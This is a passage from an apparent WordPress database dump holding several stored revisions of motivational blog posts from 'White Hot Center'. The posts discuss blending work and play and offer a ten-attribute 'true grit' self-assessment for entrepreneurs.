Center!</em>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Are you working or playing?', 0, '', 'inherit', 'open', 'open', '', '2551-revision-2', '', '', '2014-01-23 18:02:32', '2014-01-24 01:02:32', '', 2551, 'http://www.whitehotcenter.com/2014/01/2551-revision-2/', 0, 'revision', '', 0),
(2556, 2, '2014-01-23 18:08:16', '2014-01-24 01:08:16', '<img class="alignnone size-full wp-image-2552" title="work-is-play" src="http://whc.fbdev.org/wp-content/uploads/2014/01/work-is-play.jpg" alt="" width="495" height="372" />\r\n<h3>“The master in the art of living makes little distinction between his work and his play, his labor and his leisure, his mind and his body, his information and his recreation, his love and his religion. He hardly knows which is which. He simply pursues his vision of excellence at whatever he does, leaving others to decide whether he is working or playing. To him he’s always doing both.”</h3>\r\n<h3> James A. Michener</h3>\r\nI love this quote! This frames up perfectly an ideal I have dedicated my life to for over two decades now–with varying degrees of success. Like I said, it’s an ideal that I aspire to. Sometimes work feels more like drudgery than play. When this happens to me, I tend to procrastinate more… I lose interest quickly and put things off. The urgent now takes over the important. And when that happens to me, nothing feels like play.\r\n\r\nI’m still experimenting and practicing blurring the lines between work and play in my life. (This blog is one little expression of that practice).\r\n\r\nBlurring the lines between work and play is a difficult thing for entrepreneurs and solo professionals to do. They’re always so busy working to keep all their plates in the air. Some are stressing. Many simply get tired and burn out.  True enough “the master in the art of living” will hardly know the difference between work and play.\r\n<h2>Nothing creative and useful will come from a mind trapped by stress and friction.</h2>\r\nThis is why this principal is so critically important to master. When work and play converge as one activity without separation, your powers for making things happen in your life are increased exponentially. More importantly you begin to notice that you are creating with ease. Your purpose and mission will have greater pull enhancing your momentum toward your achievement.\r\n\r\nCreating your big idea in an easy and relaxed way is joyful workplay beyond words.\r\n\r\n<strong>Making your labor and your leisure come together seamlessly.</strong>\r\n\r\nHere are some ideas you may want to consider if you are integrating your work as play and visa versa. You can start by simply becoming more mindful of what you engage yourself in. If you are spending the better part of each day running after yourself and others, you’re not being too mindful of what brings you energy and joy.\r\n\r\n<em>An undisciplined mind wastes two most important, precious and limited  resources–creative energy and time.</em> Become aware of what you’re doing and say no often and mean it!\r\n\r\n<em>Put yourself first.</em> Make time to put your feet up once and awhile and let your mind play around in your creative imagination.  Make this a priority for yourself over all the other stuff that fights for your attention each day.  Creative ideas are seeds you plant in the rich dirt of your life.  As my daughter says “Chillax”! You must be first in line if you are to serve others well.\r\n\r\n<em>Take time (lots of time) away from your office, shop, store, computer and smart phone.</em> For me I like long walks on the beach or anywhere I have solitude in nature. Spend time with your kids, play basketball, play piano, ride your bike, sit in a coffee shop– anything but hanging around in your office! You will soon see how many awesome ideas will show up for you when you are not chained to your cage. All my good ideas come to me far away from my desktop.\r\n\r\n<em>Focus on your genius.</em> Only engage in the activities that bring you endless energy, joy and satisfaction–delegate everything else and I mean everything!  Your genius is a powerful capability, talent and gift you were born with.  You probably take it for granted. Chances are you don’t even think about your genius. It’s so natural to you. You don’t think about breathing do you? Your genius is like that. When you are engaged in activities that are in the zone of your genius–work is play and play is work and you don’t care which is which.\r\n\r\n<em>Follow your magnificent obsession.</em> When you build a life of purpose, significance and meaning, chances are you’re trusting and following your truest nature. The more clarity you have about your natural inclinations, the more gravity they will have to attract all manner of unseen opportunities that come out of nowhere. Having a sense of calling is a powerful tool to pull you through the “stuff” and keep you looking up and out on the horizon.\r\n\r\n<em>And finally there is love.</em> Indeed you must truly love with all your heart and soul what you do in life. I know we’ve all heard this a thousand times, but it’s the truth. For me, love is the magic ingredient in the art of living life to the fullest expression. Without love, there is only fear.\r\n\r\n&nbsp;\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center!</em>', 'Are you working or playing?', 0, '', 'inherit', 'open', 'open', '', '2551-revision-4', '', '', '2014-01-23 18:08:16', '2014-01-24 01:08:16', '', 2551, 'http://www.whitehotcenter.com/2014/01/2551-revision-4/', 0, 'revision', '', 0),
(2557, 2, '2014-01-23 18:08:26', '2014-01-24 01:08:26', '<img class="alignnone size-full wp-image-2552" title="work-is-play" src="http://whc.fbdev.org/wp-content/uploads/2014/01/work-is-play.jpg" alt="" width="495" height="372" />\r\n<h3>“The master in the art of living makes little distinction between his work and his play, his labor and his leisure, his mind and his body, his information and his recreation, his love and his religion. He hardly knows which is which. He simply pursues his vision of excellence at whatever he does, leaving others to decide whether he is working or playing. To him he’s always doing both.”</h3>\r\n<h3> James A. Michener</h3>\r\nI love this quote! This frames up perfectly an ideal I have dedicated my life to for over two decades now–with varying degrees of success. Like I said, it’s an ideal that I aspire to. Sometimes work feels more like drudgery than play. When this happens to me, I tend to procrastinate more… I lose interest quickly and put things off. The urgent now takes over the important. And when that happens to me, nothing feels like play.\r\n\r\nI’m still experimenting and practicing blurring the lines between work and play in my life. (This blog is one little expression of that practice).\r\n\r\nBlurring the lines between work and play is a difficult thing for entrepreneurs and solo professionals to do. They’re always so busy working to keep all their plates in the air. Some are stressing. Many simply get tired and burn out.  True enough “the master in the art of living” will hardly know the difference between work and play.\r\n<h2>Nothing creative and useful will come from a mind trapped by stress and friction.</h2>\r\nThis is why this principal is so critically important to master. When work and play converge as one activity without separation, your powers for making things happen in your life are increased exponentially. More importantly you begin to notice that you are creating with ease. Your purpose and mission will have greater pull enhancing your momentum toward your achievement.\r\n\r\nCreating your big idea in an easy and relaxed way is joyful workplay beyond words.\r\n\r\n<strong>Making your labor and your leisure come together seamlessly.</strong>\r\n\r\nHere are some ideas you may want to consider if you are integrating your work as play and visa versa. You can start by simply becoming more mindful of what you engage yourself in. If you are spending the better part of each day running after yourself and others, you’re not being too mindful of what brings you energy and joy.\r\n\r\n<em>An undisciplined mind wastes two most important, precious and limited  resources–creative energy and time.</em> Become aware of what you’re doing and say no often and mean it!\r\n\r\n<em>Put yourself first.</em> Make time to put your feet up once and awhile and let your mind play around in your creative imagination.  Make this a priority for yourself over all the other stuff that fights for your attention each day.  Creative ideas are seeds you plant in the rich dirt of your life.  As my daughter says “Chillax”! You must be first in line if you are to serve others well.\r\n\r\n<em>Take time (lots of time) away from your office, shop, store, computer and smart phone.</em> For me I like long walks on the beach or anywhere I have solitude in nature. Spend time with your kids, play basketball, play piano, ride your bike, sit in a coffee shop– anything but hanging around in your office! You will soon see how many awesome ideas will show up for you when you are not chained to your cage. All my good ideas come to me far away from my desktop.\r\n\r\n<em>Focus on your genius.</em> Only engage in the activities that bring you endless energy, joy and satisfaction–delegate everything else and I mean everything!  Your genius is a powerful capability, talent and gift you were born with.  You probably take it for granted. Chances are you don’t even think about your genius. It’s so natural to you. You don’t think about breathing do you? Your genius is like that. When you are engaged in activities that are in the zone of your genius–work is play and play is work and you don’t care which is which.\r\n\r\n<em>Follow your magnificent obsession.</em> When you build a life of purpose, significance and meaning, chances are you’re trusting and following your truest nature. The more clarity you have about your natural inclinations, the more gravity they will have to attract all manner of unseen opportunities that come out of nowhere. Having a sense of calling is a powerful tool to pull you through the “stuff” and keep you looking up and out on the horizon.\r\n\r\n<em>And finally there is love.</em> Indeed you must truly love with all your heart and soul what you do in life. I know we’ve all heard this a thousand times, but it’s the truth. For me, love is the magic ingredient in the art of living life to the fullest expression. Without love, there is only fear.\r\n\r\n&nbsp;\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center!</em>', 'Are you working or playing?', 0, '', 'inherit', 'open', 'open', '', '2551-revision-5', '', '', '2014-01-23 18:08:26', '2014-01-24 01:08:26', '', 2551, 'http://www.whitehotcenter.com/2014/01/2551-revision-5/', 0, 'revision', '', 0),
(2559, 2, '2014-01-23 18:10:46', '2014-01-24 01:10:46', '<img class="alignnone size-full wp-image-2552" title="work-is-play" src="http://whc.fbdev.org/wp-content/uploads/2014/01/work-is-play.jpg" alt="" width="495" height="372" />\r\n<h3>“The master in the art of living makes little distinction between his work and his play, his labor and his leisure, his mind and his body, his information and his recreation, his love and his religion. He hardly knows which is which. He simply pursues his vision of excellence at whatever he does, leaving others to decide whether he is working or playing. To him he’s always doing both.”</h3>\r\n<h3>James A. Michener</h3>\r\nI love this quote! This frames up perfectly an ideal I have dedicated my life for over two decades now–with varying degrees of success. Like I said, it’s an ideal that I aspire to each day. Sometimes work feels more like drudgery than play. When this happens to me, I tend to procrastinate more… I lose interest quickly and put things off. The urgent now takes over the important. And when that happens to me, nothing feels like play.\r\n\r\nI’m still experimenting and practicing blurring the lines between work and play in my life. (This blog is one little expression of that practice).\r\n\r\nBlurring the lines between work and play is a difficult thing for entrepreneurs and solo professionals to do. They’re always so busy working to keep all their plates in the air. Some are stressing. Many simply get tired and burn out.  True enough “the master in the art of living” will hardly know the difference between work and play.\r\n<h2>Nothing creative and useful will come from a mind trapped by stress and friction.</h2>\r\nThis is why this principal is so critically important to master. When work and play converge as one activity without separation, your powers for making things happen in your life are increased exponentially. More importantly you begin to notice that you are creating with ease. Your purpose and mission will have greater pull enhancing your momentum toward your achievement.\r\n\r\nCreating your big idea in an easy and relaxed way is joyful workplay beyond words.\r\n\r\n<strong>Making your labor and your leisure come together seamlessly.</strong>\r\n\r\nHere are some ideas you may want to consider if you are integrating your work as play and visa versa. You can start by simply becoming more mindful of what you engage yourself in. If you are spending the better part of each day running after yourself and others, you’re not being too mindful of what brings you energy and joy.\r\n\r\n<em>An undisciplined mind wastes two most important, precious and limited  resources–creative energy and time.</em> Become aware of what you’re doing and say no often and mean it!\r\n\r\n<em>Put yourself first.</em> Make time to put your feet up once and awhile and let your mind play around in your creative imagination.  Make this a priority for yourself over all the other stuff that fights for your attention each day.  Creative ideas are seeds you plant in the rich dirt of your life.  As my daughter says “Chillax”! You must be first in line if you are to serve others well.\r\n\r\n<em>Take time (lots of time) away from your office, shop, store, computer and smart phone.</em> For me I like long walks on the beach or anywhere I have solitude in nature. Spend time with your kids, play basketball, play piano, ride your bike, sit in a coffee shop– anything but hanging around in your office! You will soon see how many awesome ideas will show up for you when you are not chained to your cage. All my good ideas come to me far away from my desktop.\r\n\r\n<em>Focus on your genius.</em> Only engage in the activities that bring you endless energy, joy and satisfaction–delegate everything else and I mean everything!  Your genius is a powerful capability, talent and gift you were born with.  You probably take it for granted. Chances are you don’t even think about your genius. It’s so natural to you. You don’t think about breathing do you? Your genius is like that. When you are engaged in activities that are in the zone of your genius–work is play and play is work and you don’t care which is which.\r\n\r\n<em>Follow your magnificent obsession.</em> When you build a life of purpose, significance and meaning, chances are you’re trusting and following your truest nature. The more clarity you have about your natural inclinations, the more gravity they will have to attract all manner of unseen opportunities that come out of nowhere. Having a sense of calling is a powerful tool to pull you through the “stuff” and keep you looking up and out on the horizon.\r\n\r\n<em>And finally there is love.</em> Indeed you must truly love with all your heart and soul what you do in life. I know we’ve all heard this a thousand times, but it’s the truth. For me, love is the magic ingredient in the art of living life to the fullest expression. Without love, there is only fear.\r\n\r\n&nbsp;\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center!</em>', 'Are you working or playing?', 0, '', 'inherit', 'open', 'open', '', '2551-revision-7', '', '', '2014-01-23 18:10:46', '2014-01-24 01:10:46', '', 2551, 'http://www.whitehotcenter.com/2014/01/2551-revision-7/', 0, 'revision', '', 0),
(2560, 2, '2014-01-23 18:10:56', '2014-01-24 01:10:56', '<img class="alignnone size-full wp-image-2552" title="work-is-play" src="http://whc.fbdev.org/wp-content/uploads/2014/01/work-is-play.jpg" alt="" width="495" height="372" />\r\n<h3>“The master in the art of living makes little distinction between his work and his play, his labor and his leisure, his mind and his body, his information and his recreation, his love and his religion. He hardly knows which is which. He simply pursues his vision of excellence at whatever he does, leaving others to decide whether he is working or playing. To him he’s always doing both.”</h3>\r\n<h3>James A. Michener</h3>\r\nI love this quote! This frames up perfectly an ideal I have dedicated my life for over two decades now–with varying degrees of success. Like I said, it’s an ideal that I aspire to each day. Sometimes work feels more like drudgery than play. When this happens to me, I tend to procrastinate more… I lose interest quickly and put things off. The urgent now takes over the important. And when that happens to me, nothing feels like play.\r\n\r\nI’m still experimenting and practicing blurring the lines between work and play in my life. (This blog is one little expression of that practice).\r\n\r\nBlurring the lines between work and play is a difficult thing for entrepreneurs and solo professionals to do. They’re always so busy working to keep all their plates in the air. Some are stressing. Many simply get tired and burn out.  True enough “the master in the art of living” will hardly know the difference between work and play.\r\n<h2>Nothing creative and useful will come from a mind trapped by stress and friction.</h2>\r\nThis is why this principal is so critically important to master. When work and play converge as one activity without separation, your powers for making things happen in your life are increased exponentially. More importantly you begin to notice that you are creating with ease. Your purpose and mission will have greater pull enhancing your momentum toward your achievement.\r\n\r\nCreating your big idea in an easy and relaxed way is joyful workplay beyond words.\r\n\r\n<strong>Making your labor and your leisure come together seamlessly.</strong>\r\n\r\nHere are some ideas you may want to consider if you are integrating your work as play and visa versa. You can start by simply becoming more mindful of what you engage yourself in. If you are spending the better part of each day running after yourself and others, you’re not being too mindful of what brings you energy and joy.\r\n\r\n<em>An undisciplined mind wastes two most important, precious and limited  resources–creative energy and time.</em> Become aware of what you’re doing and say no often and mean it!\r\n\r\n<em>Put yourself first.</em> Make time to put your feet up once and awhile and let your mind play around in your creative imagination.  Make this a priority for yourself over all the other stuff that fights for your attention each day.  Creative ideas are seeds you plant in the rich dirt of your life.  As my daughter says “Chillax”! You must be first in line if you are to serve others well.\r\n\r\n<em>Take time (lots of time) away from your office, shop, store, computer and smart phone.</em> For me I like long walks on the beach or anywhere I have solitude in nature. Spend time with your kids, play basketball, play piano, ride your bike, sit in a coffee shop– anything but hanging around in your office! You will soon see how many awesome ideas will show up for you when you are not chained to your cage. All my good ideas come to me far away from my desktop.\r\n\r\n<em>Focus on your genius.</em> Only engage in the activities that bring you endless energy, joy and satisfaction–delegate everything else and I mean everything!  Your genius is a powerful capability, talent and gift you were born with.  You probably take it for granted. Chances are you don’t even think about your genius. It’s so natural to you. You don’t think about breathing do you? Your genius is like that. When you are engaged in activities that are in the zone of your genius–work is play and play is work and you don’t care which is which.\r\n\r\n<em>Follow your magnificent obsession.</em> When you build a life of purpose, significance and meaning, chances are you’re trusting and following your truest nature. The more clarity you have about your natural inclinations, the more gravity they will have to attract all manner of unseen opportunities that come out of nowhere. Having a sense of calling is a powerful tool to pull you through the “stuff” and keep you looking up and out on the horizon.\r\n\r\n<em>And finally there is love.</em> Indeed you must truly love with all your heart and soul what you do in life. I know we’ve all heard this a thousand times, but it’s the truth. For me, love is the magic ingredient in the art of living life to the fullest expression. Without love, there is only fear.\r\n\r\n&nbsp;\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center!</em>', 'Are you working or playing?', 0, '', 'inherit', 'open', 'open', '', '2551-revision-8', '', '', '2014-01-23 18:10:56', '2014-01-24 01:10:56', '', 2551, 'http://www.whitehotcenter.com/2014/01/2551-revision-8/', 0, 'revision', '', 0),
(2562, 2, '2014-01-23 18:18:46', '2014-01-24 01:18:46', '<img class="alignnone size-full wp-image-2552" title="work-is-play" src="http://whc.fbdev.org/wp-content/uploads/2014/01/work-is-play.jpg" alt="" width="495" height="372" />\r\n<h3>“The master in the art of living makes little distinction between his work and his play, his labor and his leisure, his mind and his body, his information and his recreation, his love and his religion. He hardly knows which is which. He simply pursues his vision of excellence at whatever he does, leaving others to decide whether he is working or playing. To him he’s always doing both.”</h3>\r\n<h3>James A. Michener</h3>\r\nI love this quote! This frames up perfectly an ideal I have dedicated my life for over two decades now–with varying degrees of success. Like I said, it’s an ideal that I aspire to each day. Sometimes work feels more like drudgery than play. When this happens to me, I tend to procrastinate more… I lose interest quickly and put things off. The urgent now takes over the important. And when that happens to me, nothing feels like play.\r\n\r\nI’m still experimenting and practicing blurring the lines between work and play in my life. (This blog is one little expression of that practice).\r\n\r\nBlurring the lines between work and play is a difficult thing for entrepreneurs and solo professionals to do. They’re always so busy working to keep all their plates in the air. Some are stressing. Many simply get tired and burn out.  True enough “the master in the art of living” will hardly know the difference between work and play.\r\n<h2>Nothing creative and useful will come from a mind trapped by stress and friction.</h2>\r\nThis is why this principal is so critically important to master. When work and play converge as one activity without separation, your powers for making things happen in your life are increased exponentially. More importantly you begin to notice that you are creating with ease. Your purpose and mission will have greater pull enhancing your momentum toward your achievement.\r\n\r\nCreating your big idea in an easy and relaxed way is joyful workplay beyond words.\r\n\r\n<strong>Making your labor and your leisure come together seamlessly.</strong>\r\n\r\nHere are some ideas you may want to consider if you are integrating your work as play and visa versa. You can start by simply becoming more mindful of what you engage yourself in. If you are spending the better part of each day running after yourself and others, you’re not being too mindful of what brings you energy and joy.\r\n\r\n<em>An undisciplined mind wastes two most important, precious and limited  resources–creative energy and time.</em> Become aware of what you’re doing and say no often and mean it!\r\n\r\n<em>Put yourself first.</em> Make time to put your feet up once and awhile and let your mind play around in your creative imagination.  Make this a priority for yourself over all the other stuff that fights for your attention each day.  Creative ideas are seeds you plant in the rich dirt of your life.  As my daughter says “Chillax”! You must be first in line if you are to serve others well.\r\n\r\n<em>Take time (lots of time) away from your office, shop, store, computer and smart phone.</em> For me I like long walks on the beach or anywhere I have solitude in nature. Spend time with your kids, play basketball, play piano, ride your bike, sit in a coffee shop– anything but hanging around in your office! You will soon see how many awesome ideas will show up for you when you are not chained to your cage. All my good ideas come to me far away from my desktop.\r\n\r\n<em>Focus on your genius.</em> Only engage in the activities that bring you endless energy, joy and satisfaction–delegate everything else and I mean everything!  Your genius is a powerful capability, talent and gift you were born with.  You probably take it for granted. Chances are you don’t even think about your genius. It’s so natural to you. You don’t think about breathing do you? Your genius is like that. When you are engaged in activities that are in the zone of your genius–work is play and play is work and you don’t care which is which.\r\n\r\n<em>Follow your magnificent obsession.</em> When you build a life of purpose, significance and meaning, chances are you’re trusting and following your truest nature. The more clarity you have about your natural inclinations, the more gravity they will have to attract all manner of unseen opportunities that come out of nowhere. Having a sense of calling is a powerful tool to pull you through the “stuff” and keep you looking up and out on the horizon.\r\n\r\n<em>And finally there is love.</em> Indeed you must truly love with all your heart and soul what you do in life. I know we’ve all heard this a thousand times, but it’s the truth. For me, love is the magic ingredient in the art of living life to the fullest expression.\r\n\r\nWithout love, there is only fear.\r\n\r\n&nbsp;\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center!</em>', 'Are you working or playing?', 0, '', 'inherit', 'open', 'open', '', '2551-revision-10', '', '', '2014-01-23 18:18:46', '2014-01-24 01:18:46', '', 2551, 'http://www.whitehotcenter.com/2014/01/2551-revision-10/', 0, 'revision', '', 0),
(2561, 2, '2014-01-23 18:18:36', '2014-01-24 01:18:36', '<img class="alignnone size-full wp-image-2552" title="work-is-play" src="http://whc.fbdev.org/wp-content/uploads/2014/01/work-is-play.jpg" alt="" width="495" height="372" />\r\n<h3>“The master in the art of living makes little distinction between his work and his play, his labor and his leisure, his mind and his body, his information and his recreation, his love and his religion. He hardly knows which is which. He simply pursues his vision of excellence at whatever he does, leaving others to decide whether he is working or playing. To him he’s always doing both.”</h3>\r\n<h3>James A. Michener</h3>\r\nI love this quote! This frames up perfectly an ideal I have dedicated my life for over two decades now–with varying degrees of success. Like I said, it’s an ideal that I aspire to each day. Sometimes work feels more like drudgery than play. When this happens to me, I tend to procrastinate more… I lose interest quickly and put things off. The urgent now takes over the important. And when that happens to me, nothing feels like play.\r\n\r\nI’m still experimenting and practicing blurring the lines between work and play in my life. (This blog is one little expression of that practice).\r\n\r\nBlurring the lines between work and play is a difficult thing for entrepreneurs and solo professionals to do. They’re always so busy working to keep all their plates in the air. Some are stressing. Many simply get tired and burn out.  True enough “the master in the art of living” will hardly know the difference between work and play.\r\n<h2>Nothing creative and useful will come from a mind trapped by stress and friction.</h2>\r\nThis is why this principal is so critically important to master. When work and play converge as one activity without separation, your powers for making things happen in your life are increased exponentially. More importantly you begin to notice that you are creating with ease. Your purpose and mission will have greater pull enhancing your momentum toward your achievement.\r\n\r\nCreating your big idea in an easy and relaxed way is joyful workplay beyond words.\r\n\r\n<strong>Making your labor and your leisure come together seamlessly.</strong>\r\n\r\nHere are some ideas you may want to consider if you are integrating your work as play and visa versa. You can start by simply becoming more mindful of what you engage yourself in. If you are spending the better part of each day running after yourself and others, you’re not being too mindful of what brings you energy and joy.\r\n\r\n<em>An undisciplined mind wastes two most important, precious and limited  resources–creative energy and time.</em> Become aware of what you’re doing and say no often and mean it!\r\n\r\n<em>Put yourself first.</em> Make time to put your feet up once and awhile and let your mind play around in your creative imagination.  Make this a priority for yourself over all the other stuff that fights for your attention each day.  Creative ideas are seeds you plant in the rich dirt of your life.  As my daughter says “Chillax”! You must be first in line if you are to serve others well.\r\n\r\n<em>Take time (lots of time) away from your office, shop, store, computer and smart phone.</em> For me I like long walks on the beach or anywhere I have solitude in nature. Spend time with your kids, play basketball, play piano, ride your bike, sit in a coffee shop– anything but hanging around in your office! You will soon see how many awesome ideas will show up for you when you are not chained to your cage. All my good ideas come to me far away from my desktop.\r\n\r\n<em>Focus on your genius.</em> Only engage in the activities that bring you endless energy, joy and satisfaction–delegate everything else and I mean everything!  Your genius is a powerful capability, talent and gift you were born with.  You probably take it for granted. Chances are you don’t even think about your genius. It’s so natural to you. You don’t think about breathing do you? Your genius is like that. When you are engaged in activities that are in the zone of your genius–work is play and play is work and you don’t care which is which.\r\n\r\n<em>Follow your magnificent obsession.</em> When you build a life of purpose, significance and meaning, chances are you’re trusting and following your truest nature. The more clarity you have about your natural inclinations, the more gravity they will have to attract all manner of unseen opportunities that come out of nowhere. Having a sense of calling is a powerful tool to pull you through the “stuff” and keep you looking up and out on the horizon.\r\n\r\n<em>And finally there is love.</em> Indeed you must truly love with all your heart and soul what you do in life. I know we’ve all heard this a thousand times, but it’s the truth. For me, love is the magic ingredient in the art of living life to the fullest expression.\r\n\r\nWithout love, there is only fear.\r\n\r\n<em></em>\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center!</em>', 'Are you working or playing?', 0, '', 'inherit', 'open', 'open', '', '2551-revision-9', '', '', '2014-01-23 18:18:36', '2014-01-24 01:18:36', '', 2551, 'http://www.whitehotcenter.com/2014/01/2551-revision-9/', 0, 'revision', '', 0);
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(2563, 2, '2014-01-27 13:23:11', '2014-01-27 20:23:11', '<img class="alignnone size-full wp-image-2564" title="true-grit" src="http://whc.fbdev.org/wp-content/uploads/2014/01/true-grit.jpg" alt="" width="495" height="269" />\r\n<h1>Turning nothing into something highly valued takes true grit. Your level of grit is comprised from your character attributes. Take my unscientific, self–examination on your level of true grit.</h1>\r\nRecently, I watched the old western movie  “True Grit” with John Wayne as US Marshall Rooster Cogburn. Wayne’s character was said to possess “true grit” – known far and wide for an unwavering dedication to getting his man.\r\n\r\nThat same sense of “true grit” holds true for creative entrepreneurs, solo professionals and small business owners who are in the process of turning nothing into something highly valued by the marketplace.\r\n\r\nWhen I was first starting out in my business, I had to learn how to master “the quality of my presence” in the world. I asked myself “what will it take to attract the best clients who wanted to work with me rather than someone else?”.  At the beginning, I didn’t know what I didn’t know.\r\n\r\nI’m a life long seeker. I had to learn about how my own character attributes would determine the quality of my “presence” in the marketplace, and if I had the right level of true grit necessary to turn nothing (no business) into something valuable (a real business). For years now, I continue to give myself a periodic examination. I am happy to share the little assessment I put myself through every 3-4 months to stay mindful of my level of true grit to create value for people.\r\n<h3>Take a moment to evaluate and assess (not judge) what your level of true grit is within these ten attributes. Be completely honest with yourself. Give yourself a score of 1-10 for each attribute.</h3>\r\nReady… go…\r\n\r\n<strong>1- PURPOSE</strong>\r\nHow clear are you on the reason you exist, your mission, the point of it all? How connected are to your magnificent obsession? Is your purpose aligned with your action and behavior? Do you feel the pull of this obsession guiding your actions every day?\r\n\r\n<strong>2- ENTHUSISAM</strong>\r\nDo you have a genuine inner desire to help and serve people (especially customers)?  Is your vibe “up” and “genuine” in a way that gives you more energy for life and a good reason for others to want to be around you and support your ideas?\r\n\r\n<strong>3- PREPARATION</strong>\r\nAre you making plans, seeking new knowledge, finding new partners, feeding your mind, taking care of your biology? Are you ready to play a higher level of game?\r\n\r\n<strong>4- SELF-CONFIDENCE</strong>\r\nAre you doing your very best and you know it? Are you doing all you can, doing all it takes to meet your challenge with grace, strength and confidence?\r\n\r\n<strong>5- SELF-DISCIPLINE</strong>\r\nAre you creating the right habits? Do you make the right choices each day to keep you moving forward on the trail of your desire?\r\n\r\n<strong>6- SELF-RELIANCE</strong>\r\nAre you resourceful? Do you use every circumstance for your upliftment and advancement?  Do you trust your inner gifts and talent– knowing your success is not dependant on others?\r\n\r\n<strong>7- EXPERTISE</strong>\r\nAre you at the top of your game, the best in your field, best of breed, loved and respected by your colleagues and customers?\r\n\r\n<strong>8- EXTRAORDINARY PERFORMANCE</strong>\r\nDo you demand the very best of yourself? Do you set the bar? Are you playing the game of life at the levels you know you are capable of?\r\n\r\n<strong>9- IMAGE</strong>\r\nDoes your behavior in the marketplace project an image of premium quality, trust and dependability?  Do you value your physical appearance and the quality of your surroundings? (who you hang with and where you hang)\r\n\r\n<strong>10- CHARACTER</strong>\r\nAre you a person of honesty and integrity walking your talk, keeping your promises?\r\n\r\nNow add up your score. How do feel about your current level of true grit?\r\n\r\nWhatever your score adds up to, it’s exactly the information you need right now to grow your pull and influence to new levels. It takes true grit in all these areas (not just talent or expertise) to turn your formless ideas into something tangible and highly valued by the marketplace.\r\n\r\n<em>Full disclosure on this post…  my true grit score at this writing is 85.  I''m satisfied when I am 90+, anything below 75 and I start to take appropriate action.\r\n</em>\r\n\r\n<em> If you found this post helpful, please share it with your tribe and subscribe to The White Hot Center directly.</em>', 'Your True Grit Self Assessment.', 0, '', 'publish', 'open', 'open', '', 'your-true-grit-self-assessment', '', '', '2014-01-29 17:08:19', '2014-01-30 00:08:19', '', 0, 'http://www.whitehotcenter.com/?p=2563', 0, 'post', '', 0),
(2564, 2, '2014-01-27 12:39:01', '2014-01-27 19:39:01', '', 'true-grit', 0, '', 'inherit', 'open', 'open', '', 'true-grit', '', '', '2014-01-27 12:39:01', '2014-01-27 19:39:01', '', 2563, 'http://www.whitehotcenter.com/wp-content/uploads/2014/01/true-grit.jpg', 0, 'attachment', 'image/jpeg', 0),
(2568, 2, '2014-01-27 12:53:09', '2014-01-27 19:53:09', '<img class="alignnone size-full wp-image-2564" title="true-grit" src="http://whc.fbdev.org/wp-content/uploads/2014/01/true-grit.jpg" alt="" width="495" height="269" />\n<h1>Turning nothing into something highly valued takes true grit. Your level of grit is comprised from your character attributes. Take my unscientific, self–examination on your level of true grit.</h1>\nRecently, I watched the old western movie  “True Grit” with John Wayne as US Marshall Rooster Cogburn. Wayne’s character was said to possess “true grit” – known far and wide for an unwavering dedication to getting his man.\n\nThat same sense of “true grit” holds true for creative entrepreneurs, solo professionals and small business owners who are in the process of turning nothing into something highly valued by the marketplace.\n\nWhen I was first starting out in my business, I had to learn how to master “the quality of my presence” in the world. I asked myself “what will it take to attract the best clients who wanted to work with me rather than someone else?”.  At the beginning, I didn’t know what I didn’t know.\n\nI’m a life long seeker. I had to learn about how my own character attributes would determine the quality of my “presence” in the marketplace, and if I had the right level of true grit necessary to turn nothing (no business) into something valuable (a real business). For years now, I continue to give myself a periodic examination. I am happy to share the little assessment I put myself through every 3-4 months to stay mindful of my level of true grit to create value for people.\n<h3>Take a moment to evaluate and assess (not judge) what your level of true grit is within these ten attributes. Be completely honest with yourself. Give yourself a score of 1-10 for each attribute.</h3>\nReady… go…\n\n<strong>1- PURPOSE</strong>\nHow clear are you on the reason, your mission, the point of it all? How connected are to your magnificent obsession? Is your purpose aligned with your action and behavior? Do you feel the pull of this obsession guiding your actions every day?\n\n<strong>2- ENTHUSISAM</strong>\nDo you have a genuine inner desire to help and serve people (especially customers)?  Is your vibe “up” and “genuine” in a way that gives you more energy for life and a good reason for others to want to be around you and support your ideas?\n\n<strong>3- PREPARATION</strong>\nAre you making plans, seeking new knowledge, finding new partners, feeding your mind, taking care of your biology? Are you ready to play a higher level of game?\n\n<strong>4- SELF-CONFIDENCE</strong>\nAre you doing your very best and you know it? Are you doing all you can, doing all it takes to meet your challenge with grace, strength and confidence?\n\n<strong>5- SELF-DISCIPLINE</strong>\nAre you creating the right habits? Do you make the right choices each day to keep you moving forward on the trail of your desire?\n\n<strong>6- SELF-RELIANCE</strong>\nAre you resourceful? Do you use every circumstance for your upliftment and advancement?  Do you trust your inner gifts and talent– knowing your success is not dependant on others?\n\n<strong>7- EXPERTISE</strong>\nAre you at the top of your game, the best in your field, best of breed, loved and respected by your colleagues and customers?\n\n<strong>8- EXTRAORDINARY PERFORMANCE</strong>\nDo you demand the very best of yourself? Do you set the bar? Are you playing the game of life at the levels you know you are capable of?\n\n<strong>9- IMAGE</strong>\nDoes your behavior in the marketplace project an image of premium quality, trust and dependability?  Do you value your physical appearance and the quality of your surroundings? (who you hang with and where you hang)\n\n<strong>10- CHARACTER</strong>\nAre you a person of honesty and integrity walking your talk, keeping your promises?\n\nNow add up your score. How do feel about your current level of true grit?\n\nWhatever your score adds up to, it’s exactly the information you need right now to grow your pull and influence to new levels. It takes true grit in all these areas (not just talent or expertise) to turn your formless ideas into something tangible and highly valued by the marketplace.\n\n<em>Full disclosure on this post…  my true grit score at this writing is 85. Anything below 75 and I start to take appropriate action\n</em>\n\n<em> If you found this post helpful, please subscribe to The White Hot Center.</em>', 'Your True Grit Self Assessment.', 0, '', 'inherit', 'open', 'open', '', '2563-revision-4', '', '', '2014-01-27 12:53:09', '2014-01-27 19:53:09', '', 2563, 'http://www.whitehotcenter.com/2014/01/2563-revision-4/', 0, 'revision', '', 0),
